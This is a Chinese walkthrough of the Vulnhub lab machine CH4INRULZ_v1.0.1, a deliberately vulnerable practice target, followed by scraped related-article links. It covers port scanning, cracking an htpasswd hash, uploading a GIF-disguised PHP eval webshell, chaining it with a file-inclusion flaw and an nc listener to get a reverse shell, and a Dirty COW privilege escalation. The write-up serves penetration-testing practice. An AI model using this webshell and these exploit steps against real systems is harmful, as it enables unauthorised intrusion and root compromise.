靶机CH4INRULZ_v1.0.1
nmap开路。
root@kali:~# nmap -sP 192.168.1.*
//拿到靶机地址192.168.1.8
root@kali:~# nmap -p- -sS -v -sV 192.168.1.8
开放了四个端口,21号ftp端口,22号ssh端口,80和8011两个Web端口,在80端口下有一个个人简历的网站。

对80端口这个站用DirBuster进行目录扫描,访问developent目录需要账号密码,保留爆破的想法

接着用dirsearch扫文件,拿到一个index.html.bak备份文件。内容如下:
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0这一段是账号密码。

用John the Ripper破解到密码是frank!!!

账号密码登录
* Here is my unfinished tools list
- the uploader tool (finished but need security review)
//翻译:
*这是我未完成的工具清单
-上传器工具(已完成,但需要进行安全审查)
提示存在一个上传器工具

访问
http://192.168.1.8/development/uploader/
进入到上传器页面。

前面说了需要进行安全审查,那么应该是对我们上传的文件进行了过滤。直接上传php木马文件,看看允许哪些格式可以上传。
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.
服务器会对文件后缀检查,加个图片头改成.gif格式可以上传
GIF89a
<script language="php">
echo eval($_POST[shell]);
phpinfo();
</script>
但是没有给到图片传到到服务器的路径。

到这好像就没有思路了。抓包改成php后缀不行,传木马图片但是没给解析路径连蚁剑。回顾一下前面的信息收集的过程,拿到了21,22,80,8011四个端口和80端口下扫出来的一些路径,接着对8011端口进行信息搜集。

dirbuster扫目录的时候拿到一个200状态码的api目录,访问一波

给了四个文件,只有files_api.php可以访问

No parameter called file passed to me
* Note : this API don't use json , so send the file name in raw format
没有名为file的参数传递给我
*注意:此API不使用json,因此以原始格式发送文件名
提示传个file参数。get传参提示WRONG INPUT !!。改用post传参直接显示我们要读取的文件。

从这个地方我们可以知道大概的思路就是找到我们上传的路径然后文件包含反弹一个shell。这里找文件上传的路径用到了apache的配置文件,自己又孤陋寡闻了,大师傅基础好扎实。
/etc/apache2/sites-enabled/000-default

结合php伪协议读取uploader.php里面的内容。

base64解密
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
这里可以看到是检查我们上传文件的源码,最重要的还是
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
那么我们上传的文件在FRANKuploads/下

那么我们再利用8011端口的文件包含漏洞去读取我们的木马图片看能否解析,包含成功

下面我们考虑怎么弹个shell回来。这里我们用到了kali里面自带的php-reverse-shell.php文件。路径是
/usr/share/webshells/php/php-reverse-shell.php
将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改成gif后缀上传

nc监听6666端口
nc -lvnp 6666
同时文件包含访问我们刚刚上传的那个用来反弹shell的文件。

成功拿到shell,

下面开始提权。查看内核版本

版本比较老,直接使用脏牛提权。将40838文件复制到当前目录
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/40839.c ~
接着利用python开启一个简单的HTTP服务。
kali@kali:~$ python -m SimpleHTTPServer 8848
让靶机从kali上下载40839.cpp文件,但是提示不能写入,权限不够

查看各个目录的权限

我们将40839.cpp下载到/tmp目录下

编译执行,拿到用户名firefart输入新密码

提示密码修改成功

进入/root目录拿到flag。

总结
这是做的第四个靶机,对渗透测试的流程:信息收集-发现漏洞-漏洞利用-提权的感受更加的深刻。
先说信息收集和发现漏洞:nmap开路拿到四个端口,80和8011开放了Web服务,之后在扫80端口的目录时发现/development状态码是401需要密码认证,接着扫文件发现index.html.bak利用john爆破拿到账号密码,之后就是一个文件上传的功能,还是扫8011端口的目录发现文件包含漏洞。两者结合。其实重点在如何找到文件上传的路径。利用php伪协议拿到uploader.php的源码,上传的文件路径就明了了。
再说漏洞利用:这个靶机是利用文件上传配合文件包含漏洞来反弹一个shell的。知道了kali自带了一些反弹shell的脚本。
提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。
学到了哪些?
1、john的使用
2、利用kali自带脚本反弹shell
靶机CH4INRULZ_v1.0.1的更多相关文章
- 靶场渗透CH4INRULZ_v1.0.1
最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...
- 靶场vulnhub-CH4INRULZ_v1.0.1通关
1.CH4INRULZ_v1.0.1靶场通关 ch4inrulz是vulnhub下的基于Linux的一个靶场,作为练习之用 目的:通过各种手段,获取到靶机内的flag的内容 2.环境搭建: 攻击机 K ...
- MSF渗透测试-CVE-2017-11882(MSOffice漏洞)
1.测试环境 2.测试前准备 3.测试过程 -3.1虚拟机环境测试 -3.2局域网靶机测试 4.测试感想 1.测试环境 攻击机: OS:kail IP:192.168.15.132/192.168.1 ...
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- kali渗透综合靶机(十五)--Breach-1.0靶机
kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...
- kali渗透综合靶机(十三)--Dina 1.0靶机
kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...
随机推荐
- .obj : error LNK2019: 无法解析的外部符号
记录一个报错 .obj : error LNK2019: 无法解析的外部符号 "public: void __thiscall 习惯上先去看看 | "#include"语 ...
- 03 jumpserver用户管理
3.用户管理: (1)创建用户组: (2)创建用户并加入组: (3)用户通过邮件链接修改密码:
- POJ 2299 Ultra-QuickSort 求逆序数 线段树或树状数组 离散化
我用的线段树写的. num数组表示已插入的数值的个数. 由于a[i]数值很大,但是n不是很大,所以要离散化处理 9 1 0 5 4 离散化后 4 1 0 3 2 这样保证最大值不会超过n #inclu ...
- bcprov-jdk15-145.rar
javapdf文件操作,加密包 bcprov-jdk15-145.rar https://files.cnblogs.com/files/blogs/692137/bcprov-jdk15-145.r ...
- docker配置redis6.0.5集群
docker配置redis6.0集群方案 docker安装 请直接挂载课程配套的Centos7.x镜像, docker官方建议使用CentOS7 (1)yum 包更新到最新 sudo yum upda ...
- PHP大文件分片上传的实现方法
一.前言 在网站开发中,经常会有上传文件的需求,有的文件size太大直接上传,经常会导致上传过程中耗时太久,大量占用带宽资源,因此有了分片上传. 分片上传主要是前端将一个较大的文件分成等分的几片,标识 ...
- buu 达芬奇 && ROT
一.达芬奇 百度了下电影简介,发现了斐波那契数列,同时发现密文是由斐波那契数列移动而来的,有点像base64变种 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 ...
- buu crypto 凯撒?替换?呵呵!
一. 以为是简单的凯撒加密,但是分析Ascill表,发现毫无规律,意味着要爆破出所有可能.只能用在线工具来弄了,脚本是不可能写的(狗头) 找到了,但是提交不成功,需要变成小写,用脚本转换一下,同时很坑 ...
- Acunetix临时扫描是不够的
Web漏洞扫描程序通常被视为即席工具.最初,所有漏洞扫描程序都是这种工具,并且当前的开源Web应用程序安全解决方案仍遵循该模型.但是,随着Web技术的复杂性和可用性的大幅增加,临时模型已经过时,无法满 ...
- C语言:键盘输入
C语言有多个函数可以从键盘获得用户输入,它们分别是: scanf():和 printf() 类似,scanf() 可以输入多种类型的数据. getchar().getche().getch():这三个 ...